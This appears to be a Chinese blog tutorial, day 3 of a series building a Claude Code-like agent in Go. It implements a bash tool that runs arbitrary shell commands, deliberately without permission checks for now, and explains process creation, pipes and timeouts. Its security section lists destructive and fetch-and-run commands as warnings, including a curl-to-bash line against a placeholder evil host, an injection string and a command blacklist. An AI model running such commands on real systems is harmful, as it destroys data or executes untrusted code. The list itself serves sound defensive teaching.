Day 3: Bash 工具-- 30天复刻了一个 Claude Code

Day 3 - 实现 Shell 命令执行,让 Agent 能与系统交互
项目地址: https://github.com/JiayuXu0/MiniCode

欢迎大家 Star,感谢感谢

本节目标

  • 实现基础的 Bash 命令执行
  • 处理命令输出和错误
  • 实现命令超时控制
  • 了解命令执行的安全考虑

最终效果

$ go run . "检查 Go 版本,然后列出当前目录文件"

让我帮你检查 Go 版本并列出文件。

┌─ bash ─────────────────────────────────
│ 执行: go version
│
│ ✅ 结果:
│   go version go1.22.0 darwin/arm64
└──────────────────────────────────────────

┌─ bash ─────────────────────────────────
│ 执行: ls -la
│
│ ✅ 结果:
│   total 24
│   drwxr-xr-x  5 user  staff   160 Jan 15 10:30 .
│   drwxr-xr-x  8 user  staff   256 Jan 15 10:20 ..
│   -rw-r--r--  1 user  staff  1234 Jan 15 10:30 main.go
│   -rw-r--r--  1 user  staff   567 Jan 15 10:25 tools.go
│   -rw-r--r--  1 user  staff    89 Jan 15 10:20 go.mod
└──────────────────────────────────────────

Go 版本是 1.22.0,当前目录有 3 个 Go 文件。

─────────────────────────────────────────
Tokens: 234

为什么需要 Bash 工具?

Bash 工具是 AI Agent 与系统交互的桥梁,它让 Agent 能够:

能力:

  • 运行测试(go test, npm test
  • 检查系统信息(go version, git status
  • 执行构建(go build, npm run build
  • 查看进程和日志(ps, tail -f

价值:

  • 验证性强:Agent 可以验证自己的修改
  • 自动化:自动执行开发流程中的重复任务
  • 完整性:配合文件工具,形成完整的开发助手

设计原则:

用户请求 → Agent 思考 → 调用 bash → 获取真实结果 → 基于结果决策

Bash 工具的挑战

执行 Shell 命令虽然强大,但也有风险:

挑战 Day 3 方案
危险命令 命令检测 + 输出提示
超时控制 Context timeout
输出过大 限制 10000 字符
错误处理 捕获 stderr

注意:Day 3 暂不实现权限确认,先关注基础功能。


Step 1: 实现 Bash 工具

tools.go 中添加:

package main

import (
	"bytes"
	"context"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"charm.land/fantasy"
	"github.com/bmatcuk/doublestar/v4"
)

// === Bash 工具 ===

// BashInput 定义 bash 工具的参数
type BashInput struct {
	Command string `json:"command" jsonschema:"required,description=The shell command to execute"`
	Timeout int    `json:"timeout,omitempty" jsonschema:"description=Timeout in seconds (default 60)"`
}

// NewBashTool 创建 bash 工具
func NewBashTool() fantasy.AgentTool {
	return fantasy.NewAgentTool(
		"bash",
		`Execute a shell command and return the output.

Use this tool to:
- Run tests (go test, npm test)
- Check system info (go version, git status)
- Execute builds (go build, npm run build)
- View logs or processes

Examples:
- {"command": "go version"}
- {"command": "go test ./..."}
- {"command": "git status"}
- {"command": "ls -la"}

IMPORTANT:
- Commands run in bash shell, supports pipes and redirects
- Output is limited to 10000 characters
- Commands timeout after 60 seconds by default
- Dangerous commands (rm -rf, sudo) should be used carefully`,
		handleBash,
	)
}

func handleBash(ctx context.Context, input BashInput, call fantasy.ToolCall) (fantasy.ToolResponse, error) {
	// 1. 参数验证
	if input.Command == "" {
		return fantasy.NewTextErrorResponse("command is required"), nil
	}

	// 2. 设置超时
	timeout := 60 * time.Second
	if input.Timeout > 0 {
		timeout = time.Duration(input.Timeout) * time.Second
	}

	ctx, cancel := context.WithTimeout(ctx, timeout)
	defer cancel()

	// 3. 创建命令
	cmd := exec.CommandContext(ctx, "bash", "-c", input.Command)

	// 设置环境变量
	cmd.Env = os.Environ()

	// 4. 捕获输出
	var stdout, stderr bytes.Buffer
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr

	// 5. 执行命令
	err := cmd.Run()

	// 6. 处理结果
	output := stdout.String()
	errOutput := stderr.String()

	// 合并输出
	var result strings.Builder
	if output != "" {
		result.WriteString(output)
	}
	if errOutput != "" {
		if result.Len() > 0 {
			result.WriteString("\n")
		}
		result.WriteString("STDERR:\n")
		result.WriteString(errOutput)
	}

	// 检查错误
	if err != nil {
		if ctx.Err() == context.DeadlineExceeded {
			return fantasy.NewTextResponse(fmt.Sprintf("Error: command timed out after %v\n\nPartial output:\n%s", timeout, result.String())), nil
		}

		// 命令执行失败但有输出
		if result.Len() > 0 {
			return fantasy.NewTextResponse(fmt.Sprintf("Command failed with exit code %v\n\nOutput:\n%s", err, result.String())), nil
		}

		return fantasy.NewTextResponse(fmt.Sprintf("Error: %v", err)), nil
	}

	// 限制输出长度
	resultStr := result.String()
	if len(resultStr) > 10000 {
		resultStr = resultStr[:10000] + "\n\n... (output truncated, showing first 10000 characters)"
	}

	if resultStr == "" {
		resultStr = "(command completed with no output)"
	}

	return fantasy.NewTextResponse(resultStr), nil
}

Step 2: 更新 main.go

main.go 中添加 Bash 工具到工具列表:

// 3. 创建工具列表
tools := []fantasy.AgentTool{
	NewGlobTool(),
	NewBashTool(),  // 新增
}

// 4. 创建 Agent(带工具)
agent := fantasy.NewAgent(
	model,
	fantasy.WithSystemPrompt(systemPrompt),
	fantasy.WithTools(tools...),
)

更新 System Prompt,告诉 Agent 何时使用 bash 工具:

var systemPrompt = `You are a helpful coding assistant with access to file system and shell tools.

Available tools:
- glob: Find files matching a pattern
- bash: Execute shell commands

When executing tasks:
1. Use glob for finding files
2. Use bash for running commands (tests, builds, git, system info)

IMPORTANT:
- Always use tools to get accurate information
- Do not guess command outputs
- Be careful with dangerous commands (rm, sudo)

Respond in the same language as the user.`

Step 3: 运行测试

测试 1: 简单命令

go run . "Go 版本是多少?"

预期输出:

让我检查 Go 版本。

(Agent 调用 bash 工具)

你的 Go 版本是 1.22.0。

--- Tokens: 187 ---

测试 2: 带错误的命令

go run . "运行不存在的命令 foobar"

预期输出:

让我尝试运行该命令。

Error: bash: foobar: command not found

看起来命令 'foobar' 不存在。

--- Tokens: 145 ---

测试 3: 复杂任务

go run . "检查 git 状态,然后列出当前目录的文件"

预期输出:

让我帮你检查。

(调用 bash: git status)
(调用 bash: ls -la)

当前 git 分支是 main,工作区干净。
目录中有 3 个 Go 源文件。

--- Tokens: 312 ---

测试 4: 管道和重定向

go run . "统计当前目录 Go 代码的行数"

预期输出(Agent 使用管道):

(调用 bash: find . -name "*.go" | xargs wc -l)

当前项目共有约 150 行 Go 代码。

--- Tokens: 198 ---

深入理解:技术原理分析

1. Go 进程创建机制

当我们调用 exec.Command 时,Go 底层发生了什么?

┌─────────────────────────────────────────────────────────┐
│  Go 程序 (MiniCode)                                     │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  exec.Command("bash", "-c", "go version")              │
│         │                                               │
│         ▼                                               │
│  ┌──────────────────┐                                  │
│  │   创建 Cmd 结构   │                                  │
│  │  - Path: /bin/bash                                  │
│  │  - Args: ["-c", "go version"]                       │
│  │  - Stdin/Stdout/Stderr pipes                        │
│  └────────┬─────────┘                                  │
│           │                                             │
│           ▼                                             │
│  ┌──────────────────┐                                  │
│  │   cmd.Run()      │                                  │
│  └────────┬─────────┘                                  │
└───────────┼─────────────────────────────────────────────┘
            │
            ▼
┌───────────────────────────────────────────────────────┐
│  操作系统层                                            │
├───────────────────────────────────────────────────────┤
│                                                       │
│  1. fork() - 创建子进程                                │
│     ├─ 复制父进程的内存空间                            │
│     ├─ 继承文件描述符(已重定向到 pipe)               │
│     └─ 获得新的进程 ID (PID)                          │
│                                                       │
│  2. exec() - 替换进程镜像                              │
│     ├─ 加载 /bin/bash 到内存                          │
│     ├─ 设置命令行参数 ["-c", "go version"]            │
│     └─ 开始执行 bash                                   │
│                                                       │
│  3. bash 解析并执行                                    │
│     ├─ bash 再次 fork/exec 创建 go 进程               │
│     ├─ go 命令执行                                     │
│     └─ 输出写入到 stdout (已被重定向到 pipe)           │
│                                                       │
└───────────────────────────────────────────────────────┘
            │
            ▼ (通过 pipe 传回)
┌───────────────────────────────────────────────────────┐
│  Go 程序读取输出                                       │
├───────────────────────────────────────────────────────┤
│  stdout.String() → "go version go1.22.0 darwin/arm64" │
└───────────────────────────────────────────────────────┘

关键点:

  1. fork/exec 模型:Unix/Linux 创建进程的标准方式

    • fork() 创建父进程的完整副本
    • exec() 用新程序替换进程镜像
  2. 为什么需要两步?

    • fork 后可以在子进程中设置环境(重定向、环境变量)
    • 然后再 exec 替换为目标程序
    • Go 的 exec.Command 封装了这个复杂过程
  3. 进程层次

    MiniCode (PID: 1234)
       └─ bash (PID: 5678)
           └─ go (PID: 9012)
    

2. 输入输出重定向的原理

Go 如何捕获子进程的输出?答案是 管道(Pipe)

┌────────────────────────────────────────────────────────┐
│  父进程 (MiniCode)                                     │
│                                                        │
│  var stdout bytes.Buffer                              │
│  cmd.Stdout = &stdout  ◄────────┐                     │
│                                  │                     │
└──────────────────────────────────┼─────────────────────┘
                                   │
                         ┌─────────┴──────────┐
                         │   Pipe (管道)      │
                         │   ┌──────────────┐ │
                         │   │ Write End ◄──┼─┼─┐
                         │   └──────────────┘ │ │
                         │   ┌──────────────┐ │ │
                         │   │ Read End  ──►┼─┼─┘
                         │   └──────────────┘ │
                         └────────────────────┘
                                   │
┌──────────────────────────────────┼─────────────────────┐
│  子进程 (bash)                   │                     │
│                                  │                     │
│  文件描述符 1 (stdout) ──────────┘                     │
│  写入: "go version go1.22.0\n"                         │
│                                                        │
└────────────────────────────────────────────────────────┘

Pipe 的工作原理:

  1. 创建管道

    // Go 内部创建管道
    r, w, err := os.Pipe()  // 返回读端和写端
    cmd.Stdout = w          // 子进程写入 w
    // Go 从 r 读取,复制到 stdout Buffer
    
  2. 数据流动

    • 子进程写入 → 管道缓冲区 → 父进程读取
    • 阻塞特性:如果管道满了,写入会阻塞
    • 自动管理:Go 在后台线程读取,避免死锁
  3. 为什么不直接共享内存?

    • 进程隔离:子进程无法访问父进程内存
    • 安全性:防止子进程破坏父进程数据
    • 跨进程通信:Pipe 是操作系统提供的 IPC 机制

实际例子:

// 情况 1:正常输出
cmd := exec.Command("echo", "hello")
cmd.Stdout = &buf
cmd.Run()  // buf 现在包含 "hello\n"

// 情况 2:大量输出
cmd := exec.Command("find", "/", "-name", "*.go")
cmd.Stdout = &buf
cmd.Run()  // 可能有几万行输出,Go 自动管理

// 情况 3:stderr 也需要捕获
cmd.Stderr = &errBuf  // 单独的管道

3. Context 超时控制的实现原理

context.WithTimeout 如何实现超时取消?

时间线:
─────────────────────────────────────────────────────────►
0s              30s             60s (超时)
│                │               │
│ cmd.Start()    │               │ ctx.Done() 触发
│                │               │
│                │               ▼
│                │          ┌─────────────────┐
│                │          │  定时器触发     │
│                │          │  cancel() 调用  │
│                │          └────────┬────────┘
│                │                   │
│                │                   ▼
│                │          ┌─────────────────┐
│                │          │  发送信号给子进程│
│                │          │  SIGKILL (9)    │
│                │          └────────┬────────┘
│                │                   │
│                │                   ▼
│                │          ┌─────────────────┐
│                │          │  进程被强制终止 │
│                │          │  cmd.Wait() 返回│
│                │          └─────────────────┘

底层实现:

// 1. WithTimeout 创建
ctx, cancel := context.WithTimeout(parent, 60*time.Second)
// 内部:
// - 创建 timerCtx 结构
// - 启动 time.AfterFunc 定时器
// - 60 秒后自动调用 cancel()

// 2. CommandContext 使用 Context
cmd := exec.CommandContext(ctx, "bash", "-c", "sleep 100")
// 内部:
// - 启动 goroutine 监听 ctx.Done()
// - 当 Done 被关闭时,调用 cmd.Process.Kill()

// 3. 超时发生
<-ctx.Done()  // 这个 channel 被关闭
// 触发:
// 1. 向子进程发送 SIGKILL 信号
// 2. Wait() 返回错误
// 3. ctx.Err() 返回 context.DeadlineExceeded

为什么选择 SIGKILL?

信号 特性 优缺点
SIGTERM (15) 可捕获,优雅退出 ✅ 程序可以清理资源❌ 程序可以忽略
SIGKILL (9) 不可捕获,强制终止 ✅ 保证终止❌ 无法清理资源

Go 选择 SIGKILL 是因为:

  • 确定性:必须终止,不能被忽略
  • 超时场景:程序已经超时,不应该继续运行
  • 简单性:不需要等待优雅退出

4. bash -c 的工作原理

为什么必须使用 bash -c?直接执行有什么问题?

对比测试:

// 方式 1:直接执行(错误❌)
cmd := exec.Command("ls", "|", "grep", ".go")
// 实际执行:ls 命令收到参数 ["|", "grep", ".go"]
// ls 尝试列出名为 "|" 的文件,失败
// 方式 2:bash -c(正确✅)
cmd := exec.Command("bash", "-c", "ls | grep .go")
// 实际执行:bash 解析整个字符串,识别管道符
// bash 创建两个子进程,连接它们的 stdin/stdout

Shell 解析的秘密:

输入: "ls | grep .go"

┌──────────────────────────────────────┐
│  Bash 解析器                         │
├──────────────────────────────────────┤
│                                      │
│  1. 词法分析 (Lexing)                │
│     ["ls", "|", "grep", ".go"]      │
│                                      │
│  2. 语法分析 (Parsing)               │
│     Pipeline:                        │
│       Command1: ["ls"]               │
│       Command2: ["grep", ".go"]      │
│                                      │
│  3. 执行 (Execution)                 │
│     ├─ fork() 创建进程 A (ls)        │
│     ├─ fork() 创建进程 B (grep)      │
│     ├─ 创建 pipe                     │
│     ├─ A.stdout → pipe.write         │
│     ├─ B.stdin  ← pipe.read          │
│     └─ 等待两个进程完成              │
│                                      │
└──────────────────────────────────────┘

exec.Command 不解析的原因:

  1. 安全性:避免命令注入

    // 如果 exec 自动解析,这会很危险:
    userInput := "file.txt; rm -rf /"
    exec.Command("cat", userInput)  // 应该只 cat,不应该执行 rm
    
  2. 明确性:强制开发者明确使用 shell

    // 明确表示需要 shell 功能
    exec.Command("bash", "-c", "ls | grep .go")
    
  3. 可移植性:不同 shell 语法不同

    exec.Command("bash", "-c", ...)  // bash 语法
    exec.Command("sh", "-c", ...)    // POSIX shell
    exec.Command("powershell", "-c", ...)  // Windows
    

5. 错误处理的三种情况

命令执行后,我们需要区分不同的错误类型:

err := cmd.Run()

if err != nil {
    // 情况 1: 超时
    if ctx.Err() == context.DeadlineExceeded {
        return "command timed out"
    }

    // 情况 2: 命令失败但有输出
    if result.Len() > 0 {
        return "Command failed\nOutput: " + result
    }

    // 情况 3: 命令失败且无输出
    return "Error: " + err.Error()
}

为什么这样分类?

情况 1: 超时(60秒后)
─────────────────────────────────────
命令: sleep 100
问题: 命令运行太久
处理: 提供部分输出,告诉用户超时了
Agent 行为: 可以尝试更短的替代方案

情况 2: 命令失败但有输出
─────────────────────────────────────
命令: go test ./...
输出: === RUN TestFoo
      FAIL: TestFoo
      --- FAIL: TestFoo (0.01s)
      exit status 1
问题: 测试失败
处理: 返回完整输出,包含失败原因
Agent 行为: 可以基于错误信息修复代码

情况 3: 命令失败且无输出
─────────────────────────────────────
命令: foobar
问题: 命令不存在
处理: 返回错误信息
Agent 行为: 尝试其他命令或询问用户

设计权衡:

方案 优点 缺点
只返回错误信息 简单 丢失有用的输出信息
只返回输出 保留所有信息 无法区分成功/失败
分类处理(我们的选择) 信息完整且结构化 代码稍复杂

代码解析(完整流程)

现在让我们串联整个流程,看看从 Agent 调用到返回结果的完整过程:

func handleBash(ctx context.Context, input BashInput, call fantasy.ToolCall) (fantasy.ToolResponse, error) {
    // ============ 阶段 1: 准备 ============

    // 1.1 参数验证
    if input.Command == "" {
        return fantasy.NewTextErrorResponse("command is required"), nil
    }

    // 1.2 设置超时 Context
    timeout := 60 * time.Second
    ctx, cancel := context.WithTimeout(ctx, timeout)
    defer cancel()  // 确保释放资源
    // ☝️ 内部启动定时器:60秒后调用 cancel()

    // ============ 阶段 2: 创建进程 ============

    // 2.1 创建命令结构
    cmd := exec.CommandContext(ctx, "bash", "-c", input.Command)
    // ☝️ 设置:路径=/bin/bash, 参数=["-c", command]
    // ☝️ 关联 Context,超时时会 Kill 进程

    // 2.2 设置环境变量
    cmd.Env = os.Environ()
    // ☝️ 继承父进程的所有环境变量(PATH, HOME 等)

    // 2.3 创建输出缓冲区和管道
    var stdout, stderr bytes.Buffer
    cmd.Stdout = &stdout  // 子进程的 stdout → 管道 → stdout Buffer
    cmd.Stderr = &stderr  // 子进程的 stderr → 管道 → stderr Buffer
    // ☝️ Go 内部创建两个 pipe,并启动 goroutine 读取

    // ============ 阶段 3: 执行 ============

    // 3.1 启动进程并等待完成
    err := cmd.Run()
    // ☝️ 内部调用:
    //    - cmd.Start():fork/exec 创建子进程
    //    - cmd.Wait():等待子进程结束
    //    - 期间:后台 goroutine 不断读取管道数据

    // ============ 阶段 4: 处理结果 ============

    // 4.1 收集输出
    output := stdout.String()      // 标准输出
    errOutput := stderr.String()   // 错误输出

    // 4.2 合并输出
    var result strings.Builder
    if output != "" {
        result.WriteString(output)
    }
    if errOutput != "" {
        result.WriteString("\nSTDERR:\n" + errOutput)
    }

    // 4.3 检查错误类型
    if err != nil {
        // 超时?
        if ctx.Err() == context.DeadlineExceeded {
            return fantasy.NewTextResponse("timeout: " + result.String()), nil
        }

        // 有输出的失败?
        if result.Len() > 0 {
            return fantasy.NewTextResponse("failed: " + result.String()), nil
        }

        // 无输出的失败
        return fantasy.NewTextResponse("error: " + err.Error()), nil
    }

    // 4.4 限制输出大小
    resultStr := result.String()
    if len(resultStr) > 10000 {
        resultStr = resultStr[:10000] + "\n... (truncated)"
    }
    // ☝️ 防止返回过大数据(避免 LLM Token 浪费)

    // 4.5 返回成功结果
    return fantasy.NewTextResponse(resultStr), nil
}

完整时序图:

MiniCode          Go Runtime        OS Kernel         bash          go
   │                  │                 │               │             │
   │  handleBash()    │                 │               │             │
   ├─────────────────>│                 │               │             │
   │                  │                 │               │             │
   │                  │ exec.Command    │               │             │
   │                  ├────────────────>│               │             │
   │                  │                 │   fork()      │             │
   │                  │                 ├──────────────>│             │
   │                  │                 │               │             │
   │                  │                 │   exec()      │             │
   │                  │                 ├──────────────>│             │
   │                  │                 │               │  fork/exec  │
   │                  │                 │               ├────────────>│
   │                  │                 │               │             │
   │                  │                 │               │   执行      │
   │                  │                 │               │   输出      │
   │                  │                 │               │<────────────┤
   │                  │<────读取pipe────┤<─────写入─────┤             │
   │                  │                 │               │             │
   │<─────返回────────┤                 │               │             │
   │                  │                 │               │             │

安全考虑

虽然 Day 3 暂不实现权限系统,但我们仍需要了解安全风险:

危险命令示例

# 删除文件(无法恢复)
rm -rf /
rm -rf ~/Documents

# 系统修改
sudo apt-get remove --purge *
chmod -R 777 /

# 强制 Git 操作
git push --force
git reset --hard

# 恶意下载执行
curl https://evil.com/script.sh | bash

Day 3 的防护措施

  1. 在工具描述中警告

    IMPORTANT:
    - Dangerous commands (rm -rf, sudo) should be used carefully
    
  2. 输出限制

    if len(output) > 10000 {
        output = output[:10000] + "... (truncated)"
    }
    
  3. 超时控制

    ctx, cancel := context.WithTimeout(ctx, 60*time.Second)
    

常见问题

Q: 为什么使用 bash -c 而不是直接执行命令?

使用 bash -c

cmd := exec.Command("bash", "-c", "ls | grep .go")

优点:

  • 支持管道 (|)
  • 支持重定向 (>, <)
  • 支持环境变量展开 ($HOME)
  • 支持命令链 (&&, ||)

直接执行的限制:

cmd := exec.Command("ls", "|", "grep", ".go")
// ❌ 不会工作!`|` 被当作 ls 的参数

Q: 命令执行失败但没有错误信息?

原因:某些命令将错误信息输出到 stderr,但 exit code 是 0。

解决:始终返回 stderr:

var result strings.Builder
if output != "" {
    result.WriteString(output)
}
if errOutput != "" {
    result.WriteString("\nSTDERR:\n")
    result.WriteString(errOutput)
}

Q: 如何处理交互式命令?

问题:交互式命令(如 vim, top)不适合在 Agent 中使用。

检测方法

var interactiveCommands = []string{
    "vim", "vi", "nano",    // 编辑器
    "top", "htop",          // 进程监控
    "less", "more",         // 分页器
}

func isInteractive(cmd string) bool {
    for _, ic := range interactiveCommands {
        if strings.HasPrefix(cmd, ic+" ") || cmd == ic {
            return true
        }
    }
    return false
}

处理

if isInteractive(input.Command) {
    return fantasy.NewTextResponse("Error: interactive commands are not supported"), nil
}

Q: 如何限制可执行的命令?

方法 1:白名单(Day 3 可选实现)

var allowedCommands = []string{
    "go", "git", "npm", "ls", "cat", "grep", "find",
}

func isAllowed(cmd string) bool {
    for _, allowed := range allowedCommands {
        if strings.HasPrefix(cmd, allowed+" ") || cmd == allowed {
            return true
        }
    }
    return false
}

方法 2:黑名单

var dangerousCommands = []string{
    "rm -rf", "sudo", "mkfs", "dd",
}

posted @ 2026-01-15 19:20  JiayuXu  阅读(0)  评论(0)    收藏  举报